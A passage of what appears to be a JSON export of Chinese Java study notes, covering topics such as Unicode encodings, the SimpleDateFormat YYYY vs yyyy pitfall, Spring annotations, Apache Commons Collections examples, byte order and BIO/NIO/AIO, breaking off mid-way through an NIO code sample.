    "content": "Unicode 是容纳世界所有文字符号的国际标准编码，使用四个字节为每个字符编码。\n\nUTF 是英文 Unicode Transformation Format 的缩写，意为把 Unicode 字符转换为某种格式。UTF 系列编码方案（UTF-8、UTF-16、UTF-32）均是由 Unicode 编码方案衍变而来，以适应不同的数据存储或传递，它们都可以完全表示 Unicode 标准中的所有字符。目前，这些衍变方案中 UTF-8 被广泛使用，而 UTF-16 和 UTF-32 则很少被使用。\n\nUTF-8 使用一至四个字节为每个字符编码，其中大部分汉字采用三个字节编码，少量不常用汉字采用四个字节编码。因为 UTF-8 是可变长度的编码方式，相对于 Unicode 编码可以减少存储占用的空间，所以被广泛使用。\n\nUTF-16 使用二或四个字节为每个字符编码，其中大部分汉字采用两个字节编码，少量不常用汉字采用四个字节编码。UTF-16 编码有大尾序和小尾序之别，即 UTF-16BE 和 UTF-16LE，在编码前会放置一个 U+FEFF 或 U+FFFE（UTF-16BE 以 FEFF 代表，UTF-16LE 以 FFFE 代表），其中 U+FEFF 字符在 Unicode 中代表的意义是 ZERO WIDTH NO-BREAK SPACE，顾名思义，它是个没有宽度也没有断字的空白。\n\nUTF-32 使用四个字节为每个字符编码，使得 UTF-32 占用空间通常会是其它编码的二到四倍。UTF-32 与 UTF-16 一样有大尾序和小尾序之别，编码前会放置 U+0000FEFF 或 U+0000FFFE 以区分。"
  },
  {
    "path": "docs/basics/java-basic/Wildcard-Character.md",
    "content": "`限定通配符`对类型进⾏限制， 泛型中有两种限定通配符：\n\n表示类型的上界，格式为：`<？ extends T>`，即类型必须为T类型或者T子类\n表示类型的下界，格式为：`<？ super T>`，即类型必须为T类型或者T的父类\n\n泛型类型必须⽤限定内的类型来进⾏初始化，否则会导致编译错误。\n\n \n\n`⾮限定通配符`表⽰可以⽤任意泛型类型来替代，类型为`<T>`"
  },
  {
    "path": "docs/basics/java-basic/YYYY-vs-yyyy.md",
    "content": "在使用SimpleDateFormat的时候，需要通过字母来描述时间元素，并组装成想要的日期和时间模式。常用的时间元素和字母的对应表(JDK 1.8)如下：\n\n![](http://www.hollischuang.com/wp-content/uploads/2020/01/15781278483147.jpg)\n\n可以看到，*y表示Year ,而Y表示Week Year*\n\n\n\n### 什么是Week Year\n\n我们知道，不同的国家对于一周的开始和结束的定义是不同的。如在中国，我们把星期一作为一周的第一天，而在美国，他们把星期日作为一周的第一天。\n\n同样，如何定义哪一周是一年当中的第一周？这也是一个问题，有很多种方式。\n\n比如下图是2019年12月-2020年1月的一份日历。\n\n![](http://www.hollischuang.com/wp-content/uploads/2020/01/15781286552869.jpg)\n\n\n\n到底哪一周才算2020年的第一周呢？不同的地区和国家，甚至不同的人，都有不同的理解。\n\n* 1、1月1日是周三，到下周三（1月8日），这7天算作这一年的第一周。\n* 2、因为周日（周一）才是一周的第一天，所以，要从2020年的第一个周日（周一）开始往后推7天才算这一年的第一周。\n* 3、因为12.29、12.30、12.31是2019年，而1.1、1.2、1.3才是2020年，而1.4周日是下一周的开始，所以，第一周应该只有1.1、1.2、1.3这三天。\n\n#### ISO 8601\n\n因为不同人对于日期和时间的表示方法有不同的理解，于是，大家就共同制定了了一个国际规范：ISO 8601 。\n\n国际标准化组织的国际标准ISO 8601是日期和时间的表示方法，全称为《数据存储和交换形式·信息交换·日期和时间的表示方法》。\n\n在 ISO 8601中。对于一年的第一个日历星期有以下四种等效说法： \n* 1，本年度第一个星期四所在的星期； \n* 2，1月4日所在的星期； \n* 3，本年度第一个至少有4天在同一星期内的星期； \n* 4，星期一在去年12月29日至今年1月4日以内的星期；\n\n根据这个标准，我们可以推算出：\n\n2020年第一周：2019.12.29-2020.1.4\n\n所以，根据ISO 8601标准，2019年12月29日、2019年12月30日、2019年12月31日这两天，其实不属于2019年的最后一周，而是属于2020年的第一周。\n\n\n#### JDK针对ISO 8601提供的支持\n\n根据ISO 8601中关于日历星期和日表示法的定义，2019.12.29-2020.1.4是2020年的第一周。\n\n我们希望输入一个日期，然后程序告诉我们，根据ISO 8601中关于日历日期的定义，这个日期到底属于哪一年。\n\n比如我输入2019-12-20，他告诉我是2019；而我输入2019-12-30的时候，他告诉我是2020。\n\n为了提供这样的数据，Java 7引入了「YYYY」作为一个新的日期模式来作为标识。使用「YYYY」作为标识，。再通过SimpleDateFormat就可以得到一个日期所属的周属于哪一年了\n\n\n所以，当我们要表示日期的时候，一定要使用 yyyy-MM-dd 而不是 YYYY-MM-dd ，这两者的返回结果大多数情况下都一样，但是极端情况就会有问题了。"
  },
  {
    "path": "docs/basics/java-basic/annotation-in-java.md",
    "content": "\n\n@Override 表示当前方法覆盖了父类的方法\n\n@Deprecated 表示方法已经过时,方法上有横线，使用时会有警告。\n\n@SuppressWarnings 表示关闭一些警告信息(通知java编译器忽略特定的编译警告)\n\n@SafeVarargs (jdk1.7更新) 表示：专门为抑制“堆污染”警告提供的。\n\n@FunctionalInterface (jdk1.8更新) 表示：用来指定某个接口必须是函数式接口，否则就会编译出错。\n\n\n### Spring常用注解\n\n@Configuration把一个类作为一个IoC容器，它的某个方法头上如果注册了@Bean，就会作为这个Spring容器中的Bean。\n\n@Scope注解 作用域\n\n@Lazy(true) 表示延迟初始化\n\n@Service用于标注业务层组件\n\n@Controller用于标注控制层组件@Repository用于标注数据访问组件，即DAO组件。\n\n@Component泛指组件，当组件不好归类的时候，我们可以使用这个注解进行标注。\n\n@Scope用于指定scope作用域的（用在类上）\n\n@PostConstruct用于指定初始化方法（用在方法上）\n\n@PreDestory用于指定销毁方法（用在方法上）\n\n@DependsOn：定义Bean初始化及销毁时的顺序\n\n@Primary：自动装配时当出现多个Bean候选者时，被注解为@Primary的Bean将作为首选者，否则将抛出异常\n\n@Autowired 默认按类型装配，如果我们想使用按名称装配，可以结合@Qualifier注解一起使用。如下：\n@Autowired @Qualifier(\"personDaoBean\") 存在多个实例配合使用\n\n@Resource默认按名称装配，当找不到与名称匹配的bean才会按类型装配。\n\n@PostConstruct 初始化注解\n\n@PreDestroy 摧毁注解 默认 单例  启动就加载\n"
  },
  {
    "path": "docs/basics/java-basic/annotation-in-spring.md",
    "content": "@Configuration把一个类作为一个IoC容器，它的某个方法头上如果注册了@Bean，就会作为这个Spring容器中的Bean。\n\n@Scope注解 作用域\n\n@Lazy(true) 表示延迟初始化\n\n@Service用于标注业务层组件、 \n\n@Controller用于标注控制层组件@Repository用于标注数据访问组件，即DAO组件。\n\n@Component泛指组件，当组件不好归类的时候，我们可以使用这个注解进行标注。\n\n@Scope用于指定scope作用域的（用在类上）\n\n@PostConstruct用于指定初始化方法（用在方法上）\n\n@PreDestory用于指定销毁方法（用在方法上）\n\n@DependsOn：定义Bean初始化及销毁时的顺序\n\n@Primary：自动装配时当出现多个Bean候选者时，被注解为@Primary的Bean将作为首选者，否则将抛出异常\n\n@Autowired 默认按类型装配，如果我们想使用按名称装配，可以结合@Qualifier注解一起使用。如下：\n\n@Autowired @Qualifier(\"personDaoBean\") 存在多个实例配合使用\n\n@Resource默认按名称装配，当找不到与名称匹配的bean才会按类型装配。\n\n\n### Spring中的这几个注解有什么区别：@Component 、@Repository、@Service、@Controller\n\n\n1. @Component指的是组件，\n\n@Controller，@Repository和@Service 注解都被@Component修饰，用于代码中区分表现层，持久层和业务层的组件，代码中组件不好归类时可以使用@Component来标注\n\n2. 当前版本只有区分的作用，未来版本可能会添加更丰富的功能\n\n"
  },
  {
    "path": "docs/basics/java-basic/annotion-and-reflect.md",
    "content": "注解和反射经常结合在一起使用，在很多框架的代码中都能看到他们结合使用的影子\n\n\n可以通过反射来判断类，方法，字段上是否有某个注解以及获取注解中的值, 获取某个类中方法上的注解代码示例如下：\n\n``` \nClass<?> clz = bean.getClass();\nMethod[] methods = clz.getMethods();\nfor (Method method : methods) {\n    if (method.isAnnotationPresent(EnableAuth.class)) {\n        String name = method.getAnnotation(EnableAuth.class).name();\n    }\n}\n```\n\n通过isAnnotationPresent判断是否存在某个注解，通过getAnnotation获取注解对象，然后获取值。\n\n### 示例\n\n示例参考：https://blog.csdn.net/KKALL1314/article/details/96481557\n\n自己写了一个例子，实现功能如下：\n\n一个类的某些字段上被注解标识，在读取该属性时，将注解中的默认值赋给这些属性，没有标记的属性不赋值\n\n``` \n@Retention(RetentionPolicy.RUNTIME)\n@Target(ElementType.FIELD)\n@Documented\n@Inherited\npublic @interface MyAnno {\n    String value() default \"有注解\";\n}\n\n```\n\n定义一个类\n\n``` \n@Data\n@ToString\npublic class Person {\n    @MyAnno\n    private String stra;\n    private String strb;\n    private String strc;\n\n    public Person(String str1,String str2,String str3){\n        super();\n        this.stra = str1;\n        this.strb = str2;\n        this.strc = str3;\n    }\n\n}\n\n```\n\n这里给str1加了注解，并利用反射解析并赋值：\n\n``` \npublic class MyTest {\n    public static void main(String[] args) {\n        //初始化全都赋值无注解\n        Person person = new Person(\"无注解\",\"无注解\",\"无注解\");\n        //解析注解\n        doAnnoTest(person);\n        System.out.println(person.toString());\n    }\n\n  private static void doAnnoTest(Object obj) {\n        Class clazz = obj.getClass();\n        Field[] declareFields = clazz.getDeclaredFields();\n        for (Field field:declareFields) {\n            //检查该字段是否使用了某个注解\n            if(field.isAnnotationPresent(MyAnno.class)){\n                MyAnno anno = field.getAnnotation(MyAnno.class);\n                if(anno!=null){\n                    String fieldName = field.getName();\n                    try {\n                        Method setMethod = clazz.getDeclaredMethod(\"set\" + fieldName.substring(0, 1).toUpperCase() + fieldName.substring(1),String.class);\n                        //获取注解的属性\n                        String annoValue = anno.value();\n                        //将注解的属性值赋给对应的属性\n                        setMethod.invoke(obj,annoValue);\n                    }catch (NoSuchMethodException e){\n                        e.printStackTrace();\n                    } catch (IllegalAccessException e) {\n                        e.printStackTrace();\n                    } catch (InvocationTargetException e) {\n                        e.printStackTrace();\n                    }\n\n                }\n            }\n            \n        }\n    }\n\n}\n\n```\n运行结果：\n\n```\n\nPerson(stra=有注解, strb=无注解, strc=无注解)\n\n``\n\n当开发者使用了Annotation 修饰了类、方法、Field 等成员之后，这些 Annotation 不会自己生效，必须由开发者提供相应的代码来提取并处理 Annotation 信息。这些处理提取和处理 Annotation 的代码统称为 APT（Annotation Processing Tool)。\n\n注解的提取需要借助于 Java 的反射技术，反射比较慢，所以注解使用时也需要谨慎计较时间成本。\n"
  },
  {
    "path": "docs/basics/java-basic/aop-vs-proxy.md",
    "content": "Spring AOP中的动态代理主要有两种方式，JDK动态代理和CGLIB动态代理。\n\nJDK动态代理通过反射来接收被代理的类，并且要求被代理的类必须实现一个接口。JDK动态代理的核心是InvocationHandler接口和Proxy类。\n\n如果目标类没有实现接口，那么Spring AOP会选择使用CGLIB来动态代理目标类。\n\nCGLIB（Code Generation Library），是一个代码生成的类库，可以在运行时动态的生成某个类的子类，注意，CGLIB是通过继承的方式做的动态代理，因此如果某个类被标记为final，那么它是无法使用CGLIB做动态代理的。"
  },
  {
    "path": "docs/basics/java-basic/apache-collections.md",
    "content": "Commons Collections增强了Java Collections Framework。 它提供了几个功能，使收集处理变得容易。 它提供了许多新的接口，实现和实用程序。 Commons Collections的主要功能如下\n\n* Bag - Bag界面简化了每个对象具有多个副本的集合。\n\n* BidiMap - BidiMap接口提供双向映射，可用于使用值使用键或键查找值。\n\n* MapIterator - MapIterator接口提供简单而容易的迭代迭代。\n\n* Transforming Decorators - 转换装饰器可以在将集合添加到集合时更改集合的每个对象。\n\n* Composite Collections - 在需要统一处理多个集合的情况下使用复合集合。\n\n* Ordered Map - 有序地图保留添加元素的顺序。\n\n* Ordered Set - 有序集保留了添加元素的顺序。\n\n* Reference map - 参考图允许在密切控制下对键/值进行垃圾收集。\n\n* Comparator implementations - 可以使用许多Comparator实现。\n\n* Iterator implementations - 许多Iterator实现都可用。\n\n* Adapter Classes - 适配器类可用于将数组和枚举转换为集合。\n\n* Utilities - 实用程序可用于测试测试或创建集合的典型集合论属性，例如union，intersection。 支持关闭。\n\n### Commons Collections - Bag\n\nBag定义了一个集合，用于计算对象在集合中出现的次数。 例如，如果Bag包含{a，a，b，c}，则getCount（“a”）将返回2，而uniqueSet（）将返回唯一值。\n\n\n```java\n\nimport org.apache.commons.collections4.Bag;\nimport org.apache.commons.collections4.bag.HashBag;\npublic class BagTester {\n   public static void main(String[] args) {\n      Bag<String> bag = new HashBag<>();\n      //add \"a\" two times to the bag.\n      bag.add(\"a\" , 2);\n      //add \"b\" one time to the bag.\n      bag.add(\"b\");\n      //add \"c\" one time to the bag.\n      bag.add(\"c\");\n      //add \"d\" three times to the bag.\n      bag.add(\"d\",3);\n      //get the count of \"d\" present in bag.\n      System.out.println(\"d is present \" + bag.getCount(\"d\") + \" times.\");\n      System.out.println(\"bag: \" +bag);\n      //get the set of unique values from the bag\n      System.out.println(\"Unique Set: \" +bag.uniqueSet());\n      //remove 2 occurrences of \"d\" from the bag\n      bag.remove(\"d\",2);\n      System.out.println(\"2 occurences of d removed from bag: \" +bag);\n      System.out.println(\"d is present \" + bag.getCount(\"d\") + \" times.\");\n      System.out.println(\"bag: \" +bag);\n      System.out.println(\"Unique Set: \" +bag.uniqueSet());\n   }\n}\n\n```\n\n它将打印以下结果:\n\n```\n\nd is present 3 times.\nbag: [2:a,1:b,1:c,3:d]\nUnique Set: [a, b, c, d]\n2 occurences of d removed from bag: [2:a,1:b,1:c,1:d]\nd is present 1 times.\nbag: [2:a,1:b,1:c,1:d]\nUnique Set: [a, b, c, d]\n\n```\n\n### Commons Collections - BidiMap\n\n使用双向映射，可以使用值查找键，并且可以使用键轻松查找值。\n\n```java\n\nimport org.apache.commons.collections4.BidiMap;\nimport org.apache.commons.collections4.bidimap.TreeBidiMap;\npublic class BidiMapTester {\n   public static void main(String[] args) {\n      BidiMap<String, String> bidi = new TreeBidiMap<>();\n      bidi.put(\"One\", \"1\");\n      bidi.put(\"Two\", \"2\");\n      bidi.put(\"Three\", \"3\");\n      System.out.println(bidi.get(\"One\")); \n      System.out.println(bidi.getKey(\"1\"));\n      System.out.println(\"Original Map: \" + bidi);\n      bidi.removeValue(\"1\"); \n      System.out.println(\"Modified Map: \" + bidi);\n      BidiMap<String, String> inversedMap = bidi.inverseBidiMap();  \n      System.out.println(\"Inversed Map: \" + inversedMap);\n   }\n}\n```\n\n它将打印以下结果。\n```\n1\nOne\nOriginal Map: {One=1, Three=3, Two=2}\nModified Map: {Three=3, Two=2}\nInversed Map: {2=Two, 3=Three}\n```\n\n### Commons Collections - MapIterator\n\nJDK Map接口很难迭代，因为迭代要在EntrySet或KeySet对象上完成。 MapIterator提供了对Map的简单迭代。\n\n```java\n\nimport org.apache.commons.collections4.IterableMap;\nimport org.apache.commons.collections4.MapIterator;\nimport org.apache.commons.collections4.map.HashedMap;\npublic class MapIteratorTester {\n   public static void main(String[] args) {\n      IterableMap<String, String> map = new HashedMap<>();\n      map.put(\"1\", \"One\");\n      map.put(\"2\", \"Two\");\n      map.put(\"3\", \"Three\");\n      map.put(\"4\", \"Four\");\n      map.put(\"5\", \"Five\");\n      MapIterator<String, String> iterator = map.mapIterator();\n      while (iterator.hasNext()) {\n         Object key = iterator.next();\n         Object value = iterator.getValue();\n         System.out.println(\"key: \" + key);\n         System.out.println(\"Value: \" + value);\n         iterator.setValue(value + \"_\");\n      }\n      System.out.println(map);\n   }\n}\n```\n\n它将打印以下结果。\n```\nkey: 3\nValue: Three\nkey: 5\nValue: Five\nkey: 2\nValue: Two\nkey: 4\nValue: Four\nkey: 1\nValue: One\n{3=Three_, 5=Five_, 2=Two_, 4=Four_, 1=One_}\n```\n\n### Commons Collections - OrderedMap\n\nOrderedMap是地图的新接口，用于保留添加元素的顺序。 LinkedMap和ListOrderedMap是两个可用的实现。 此接口支持Map的迭代器，并允许在Map中向前或向后迭代两个方向。\n\n```java\nimport org.apache.commons.collections4.OrderedMap;\nimport org.apache.commons.collections4.map.LinkedMap;\npublic class OrderedMapTester {\n   public static void main(String[] args) {\n      OrderedMap<String, String> map = new LinkedMap<String, String>();\n      map.put(\"One\", \"1\");\n      map.put(\"Two\", \"2\");\n      map.put(\"Three\", \"3\");\n      System.out.println(map.firstKey());\n      System.out.println(map.nextKey(\"One\"));\n      System.out.println(map.nextKey(\"Two\"));  \n   }\n}\n```\n\n它将打印以下结果。\n\n```\nOne\nTwo\nThree\n\n```\n\n### Commons Collections - Ignore NULL\n\nApache Commons Collections库的CollectionUtils类为常见操作提供了各种实用方法，涵盖了广泛的用例。 它有助于避免编写样板代码。 这个库在jdk 8之前非常有用，因为Java 8的Stream API现在提供了类似的功能。\n\n\n```java\nimport java.util.LinkedList;\nimport java.util.List;\nimport org.apache.commons.collections4.CollectionUtils;\npublic class CollectionUtilsTester {\n   public static void main(String[] args) {\n      List<String> list = new LinkedList<String>();\n      CollectionUtils.addIgnoreNull(list, null);\n      CollectionUtils.addIgnoreNull(list, \"a\");\n      System.out.println(list);\n      if(list.contains(null)) {\n         System.out.println(\"Null value is present\");\n      } else {\n         System.out.println(\"Null value is not present\");\n      }\n   }\n}\n```\n\n它将打印以下结果。\n```\n[a]\nNull value is not present\n```\n\n### Merge & Sort\n\nApache Commons Collections库的CollectionUtils类为常见操作提供了各种实用方法，涵盖了广泛的用例。 它有助于避免编写样板代码。 这个库在jdk 8之前非常有用，因为Java 8的Stream API现在提供了类似的功能。\n\n```java\n\nimport java.util.Arrays;\nimport java.util.List;\nimport org.apache.commons.collections4.CollectionUtils;\npublic class CollectionUtilsTester {\n   public static void main(String[] args) {\n      List<String> sortedList1 = Arrays.asList(\"A\",\"C\",\"E\");\n      List<String> sortedList2 = Arrays.asList(\"B\",\"D\",\"F\");\n      List<String> mergedList = CollectionUtils.collate(sortedList1, sortedList2);\n      System.out.println(mergedList); \n   }\n}\n```\n\n\n它将打印以下结果。\n```\n[A, B, C, D, E, F]\n```\n\n### 安全空检查(Safe Empty Checks)\n\nApache Commons Collections库的CollectionUtils类为常见操作提供了各种实用方法，涵盖了广泛的用例。 它有助于避免编写样板代码。 这个库在jdk 8之前非常有用，因为Java 8的Stream API现在提供了类似的功能。\n\n\n```java\nimport java.util.List;\nimport org.apache.commons.collections4.CollectionUtils;\npublic class CollectionUtilsTester {\n   public static void main(String[] args) {\n      List<String> list = getList();\n      System.out.println(\"Non-Empty List Check: \" + checkNotEmpty1(list));\n      System.out.println(\"Non-Empty List Check: \" + checkNotEmpty1(list));\n   }\n   static List<String> getList() {\n      return null;\n   } \n   static boolean checkNotEmpty1(List<String> list) {\n      return !(list == null || list.isEmpty());\n   }\n   static boolean checkNotEmpty2(List<String> list) {\n      return CollectionUtils.isNotEmpty(list);\n   } \n}\n```\n\n它将打印以下结果。\n```\nNon-Empty List Check: false\nNon-Empty List Check: false\n```\n\n### Commons Collections - Inclusion\n\n检查列表是否是另一个列表的一部分\n\n```java\nimport java.util.Arrays;\nimport java.util.List;\nimport org.apache.commons.collections4.CollectionUtils;\npublic class CollectionUtilsTester {\n   public static void main(String[] args) {\n      //checking inclusion\n      List<String> list1 = Arrays.asList(\"A\",\"A\",\"A\",\"C\",\"B\",\"B\");\n      List<String> list2 = Arrays.asList(\"A\",\"A\",\"B\",\"B\");\n      System.out.println(\"List 1: \" + list1);\n      System.out.println(\"List 2: \" + list2);\n      System.out.println(\"Is List 2 contained in List 1: \" \n         + CollectionUtils.isSubCollection(list2, list1));\n   }\n}\n```\n\n它将打印以下结果。\n\n```\nList 1: [A, A, A, C, B, B]\nList 2: [A, A, B, B]\nIs List 2 contained in List 1: true\n```\n\n### Commons Collections - Intersection\n\n用于获取两个集合（交集）之间的公共对象\n\n```java\nimport java.util.Arrays;\nimport java.util.List;\nimport org.apache.commons.collections4.CollectionUtils;\npublic class CollectionUtilsTester {\n   public static void main(String[] args) {\n      //checking inclusion\n      List<String> list1 = Arrays.asList(\"A\",\"A\",\"A\",\"C\",\"B\",\"B\");\n      List<String> list2 = Arrays.asList(\"A\",\"A\",\"B\",\"B\");\n      System.out.println(\"List 1: \" + list1);\n      System.out.println(\"List 2: \" + list2);\n      System.out.println(\"Commons Objects of List 1 and List 2: \" \n         + CollectionUtils.intersection(list1, list2));\n   }\n}\n```\n\n它将打印以下结果。\n\n\n```\nList 1: [A, A, A, C, B, B]\nList 2: [A, A, B, B]\nCommons Objects of List 1 and List 2: [A, A, B, B]\n\n```\n\n### Commons Collections - Subtraction\n通过从其他集合中减去一个集合的对象来获取新集合\n\n```java\nimport java.util.Arrays;\nimport java.util.List;\nimport org.apache.commons.collections4.CollectionUtils;\npublic class CollectionUtilsTester {\n   public static void main(String[] args) {\n      //checking inclusion\n      List<String> list1 = Arrays.asList(\"A\",\"A\",\"A\",\"C\",\"B\",\"B\");\n      List<String> list2 = Arrays.asList(\"A\",\"A\",\"B\",\"B\");\n      System.out.println(\"List 1: \" + list1);\n      System.out.println(\"List 2: \" + list2);\n      System.out.println(\"List 1 - List 2: \" \n         + CollectionUtils.subtract(list1, list2));\n   }\n}\n```\n\n它将打印以下结果。\n```\nList 1: [A, A, A, C, B, B]\nList 2: [A, A, B, B]\nList 1 - List 2: [A, C]\n```\n\n### Commons Collections - Union\n\n用于获取两个集合的并集\n\n```java\nimport java.util.Arrays;\nimport java.util.List;\nimport org.apache.commons.collections4.CollectionUtils;\npublic class CollectionUtilsTester {\n   public static void main(String[] args) {\n      //checking inclusion\n      List<String> list1 = Arrays.asList(\"A\",\"A\",\"A\",\"C\",\"B\",\"B\");\n      List<String> list2 = Arrays.asList(\"A\",\"A\",\"B\",\"B\");\n      System.out.println(\"List 1: \" + list1);\n      System.out.println(\"List 2: \" + list2);\n      System.out.println(\"Union of List 1 and List 2: \" \n         + CollectionUtils.union(list1, list2));\n   }\n}\n```\n\n它将打印以下结果。\n``` \nList 1: [A, A, A, C, B, B]\nList 2: [A, A, B, B]\nUnion of List 1 and List 2: [A, A, A, B, B, C]\n\n```\n\n原文地址：https://iowiki.com/commons_collections/commons_collections_index.html"
  },
  {
    "path": "docs/basics/java-basic/api-vs-spi.md",
    "content": "Java 中区分 API 和 SPI，通俗的讲：API 和 SPI 都是相对的概念，他们的差别只在语义上，API 直接被应用开发人员使用，SPI 被框架扩展人员使用\n\n\nAPI  Application Programming Interface\n\n大多数情况下，都是实现方来制定接口并完成对接口的不同实现，调用方仅仅依赖却无权选择不同实现。\n\nSPI Service Provider Interface\n\n而如果是调用方来制定接口，实现方来针对接口来实现不同的实现。调用方来选择自己需要的实现方。"
  },
  {
    "path": "docs/basics/java-basic/arraylist-vs-linkedlist-vs-vector.md",
    "content": "List主要有ArrayList、LinkedList与Vector几种实现。\n\n这三者都实现了List 接口，使用方式也很相似,主要区别在于因为实现方式的不同,所以对不同的操作具有不同的效率。\n\nArrayList 是一个可改变大小的数组.当更多的元素加入到ArrayList中时,其大小将会动态地增长.内部的元素可以直接通过get与set方法进行访问,因为ArrayList本质上就是一个数组.\n\nLinkedList 是一个双链表,在添加和删除元素时具有比ArrayList更好的性能.但在get与set方面弱于ArrayList.\n\n当然,这些对比都是指数据量很大或者操作很频繁的情况下的对比,如果数据和运算量很小,那么对比将失去意义.\n\nVector 和ArrayList类似,但属于强同步类。如果你的程序本身是线程安全的(thread-safe,没有在多个线程之间共享同一个集合/对象),那么使用ArrayList是更好的选择。\n\nVector和ArrayList在更多元素添加进来时会请求更大的空间。Vector每次请求其大小的双倍空间，而ArrayList每次对size增长50%.\n\n而 LinkedList 还实现了 Queue 接口,该接口比List提供了更多的方法,包括 offer(),peek(),poll()等.\n\n注意: 默认情况下ArrayList的初始容量非常小,所以如果可以预估数据量的话,分配一个较大的初始值属于最佳实践,这样可以减少调整大小的开销。"
  },
  {
    "path": "docs/basics/java-basic/basic-data-types.md",
    "content": "Java中有8种基本数据类型分为三大类。\n\n### 字符型\n\nchar\n\n### 布尔型\n\nboolean\n\n### 数值型\n\n1.整型：byte、short、int、long \n\n2.浮点型：float、double\n\n*String不是基本数据类型，是引用类型。*"
  },
  {
    "path": "docs/basics/java-basic/big-endian-vs-little-endian.md",
    "content": "字节序，也就是字节的顺序，指的是多字节的数据在内存中的存放顺序。\n\n在几乎所有的机器上，多字节对象都被存储为连续的字节序列。例如：如果C/C++中的一个int型变量 a 的起始地址是&a = 0x100，那么 a 的四个字节将被存储在存储器的0x100, 0x101, 0x102, 0x103位置。\n\n根据整数 a 在连续的 4 byte 内存中的存储顺序，字节序被分为大端序（Big Endian） 与 小端序（Little Endian）两类。\n\nBig Endian 是指低地址端 存放 高位字节。\nLittle Endian 是指低地址端 存放 低位字节。\n\n比如数字0x12345678在两种不同字节序CPU中的存储顺序：\n\nBig Endian：12345678\nLittle Endian ： 78563412\n\nJava采用Big Endian来存储数据、C\\C++采用Little Endian。在网络传输一般采用的网络字节序是BIG-ENDIAN。和Java是一致的。\n\n所以在用C/C++写通信程序时，在发送数据前务必把整型和短整型的数据进行从主机字节序到网络字节序的转换，而接收数据后对于整型和短整型数据则必须实现从网络字节序到主机字节序的转换。如果通信的一方是JAVA程序、一方是C/C++程序时，则需要在C/C++一侧使用以上几个方法进行字节序的转换，而JAVA一侧，则不需要做任何处理，因为JAVA字节序与网络字节序都是BIG-ENDIAN，只要C/C++一侧能正确进行转换即可（发送前从主机序到网络序，接收时反变换）。如果通信的双方都是JAVA，则根本不用考虑字节序的问题了。"
  },
  {
    "path": "docs/basics/java-basic/bio-vs-nio-vs-aio.md",
    "content": "### IO\n什么是IO? 它是指计算机与外部世界或者一个程序与计算机的其余部分之间的接口。它对于任何计算机系统都非常关键，因而所有 I/O 的主体实际上是内置在操作系统中的。单独的程序一般是让系统为它们完成大部分的工作。\n\n在 Java 编程中，直到最近一直使用 流 的方式完成 I/O。所有 I/O 都被视为单个的字节的移动，通过一个称为 Stream 的对象一次移动一个字节。流 I/O 用于与外部世界接触。它也在内部使用，用于将对象转换为字节，然后再转换回对象。\n\n### BIO\n\nJava BIO即Block I/O ， 同步并阻塞的IO。\n\nBIO就是传统的java.io包下面的代码实现。\n\n### NIO\n\n什么是NIO? NIO 与原来的 I/O 有同样的作用和目的, 他们之间最重要的区别是数据打包和传输的方式。原来的 I/O 以流的方式处理数据，而 NIO 以块的方式处理数据。\n\n面向流 的 I/O 系统一次一个字节地处理数据。一个输入流产生一个字节的数据，一个输出流消费一个字节的数据。为流式数据创建过滤器非常容易。链接几个过滤器，以便每个过滤器只负责单个复杂处理机制的一部分，这样也是相对简单的。不利的一面是，面向流的 I/O 通常相当慢。\n\n一个 面向块 的 I/O 系统以块的形式处理数据。每一个操作都在一步中产生或者消费一个数据块。按块处理数据比按(流式的)字节处理数据要快得多。但是面向块的 I/O 缺少一些面向流的 I/O 所具有的优雅性和简单性。\n\n### AIO\n\nJava AIO即Async非阻塞，是异步非阻塞的IO。\n\n### 区别及联系\n\nBIO （Blocking I/O）：同步阻塞I/O模式，数据的读取写入必须阻塞在一个线程内等待其完成。这里假设一个烧开水的场景，有一排水壶在烧开水，BIO的工作模式就是， 叫一个线程停留在一个水壶那，直到这个水壶烧开，才去处理下一个水壶。但是实际上线程在等待水壶烧开的时间段什么都没有做。\n\nNIO （New I/O）：同时支持阻塞与非阻塞模式，但这里我们以其同步非阻塞I/O模式来说明，那么什么叫做同步非阻塞？如果还拿烧开水来说，NIO的做法是叫一个线程不断地轮询每个水壶的状态，看看是否有水壶的状态发生了改变，从而进行下一步的操作。\n\nAIO （ Asynchronous I/O）：异步非阻塞I/O模型。异步非阻塞与同步非阻塞的区别在哪里？异步非阻塞无需一个线程去轮询所有IO操作的状态改变，在相应的状态改变后，系统会通知对应的线程来处理。对应到烧开水中就是，为每个水壶上面装了一个开关，水烧开之后，水壶会自动通知我水烧开了。\n\n### 各自适用场景\n\nBIO方式适用于连接数目比较小且固定的架构，这种方式对服务器资源要求比较高，并发局限于应用中，JDK1.4以前的唯一选择，但程序直观简单易理解。\n\nNIO方式适用于连接数目多且连接比较短（轻操作）的架构，比如聊天服务器，并发局限于应用中，编程比较复杂，JDK1.4开始支持。\n\nAIO方式适用于连接数目多且连接比较长（重操作）的架构，比如相册服务器，充分调用OS参与并发操作，编程比较复杂，JDK7开始支持。\n\n### 使用方式\n\n#### 使用BIO实现文件的读取和写入。\n\n\n```\n\n       //Initializes The Object\n        User1 user = new User1();\n        user.setName(\"hollis\");\n        user.setAge(23);\n        System.out.println(user);\n\n        //Write Obj to File\n        ObjectOutputStream oos = null;\n        try {\n            oos = new ObjectOutputStream(new FileOutputStream(\"tempFile\"));\n            oos.writeObject(user);\n        } catch (IOException e) {\n            e.printStackTrace();\n        } finally {\n            IOUtils.closeQuietly(oos);\n        }\n\n        //Read Obj from File\n        File file = new File(\"tempFile\");\n        ObjectInputStream ois = null;\n        try {\n            ois = new ObjectInputStream(new FileInputStream(file));\n            User1 newUser = (User1) ois.readObject();\n            System.out.println(newUser);\n        } catch (IOException e) {\n            e.printStackTrace();\n        } catch (ClassNotFoundException e) {\n            e.printStackTrace();\n        } finally {\n            IOUtils.closeQuietly(ois);\n            try {\n                FileUtils.forceDelete(file);\n            } catch (IOException e) {\n                e.printStackTrace();\n            }\n        }\n\n```\n\n#### 使用NIO实现文件的读取和写入。\n\n```\n\nstatic void readNIO() {\n\t\tString pathname = \"C:\\\\Users\\\\adew\\\\Desktop\\\\jd-gui.cfg\";\n\t\tFileInputStream fin = null;\n\t\ttry {\n\t\t\tfin = new FileInputStream(new File(pathname));\n\t\t\tFileChannel channel = fin.getChannel();\n\n\t\t\tint capacity = 100;// 字节\n\t\t\tByteBuffer bf = ByteBuffer.allocate(capacity);\n\t\t\tSystem.out.println(\"限制是：\" + bf.limit() + \"容量是：\" + bf.capacity()\n\t\t\t\t\t+ \"位置是：\" + bf.position());\n\t\t\tint length = -1;\n\n\t\t\twhile ((length = channel.read(bf)) != -1) {\n\n\t\t\t\t/*\n\t\t\t\t * 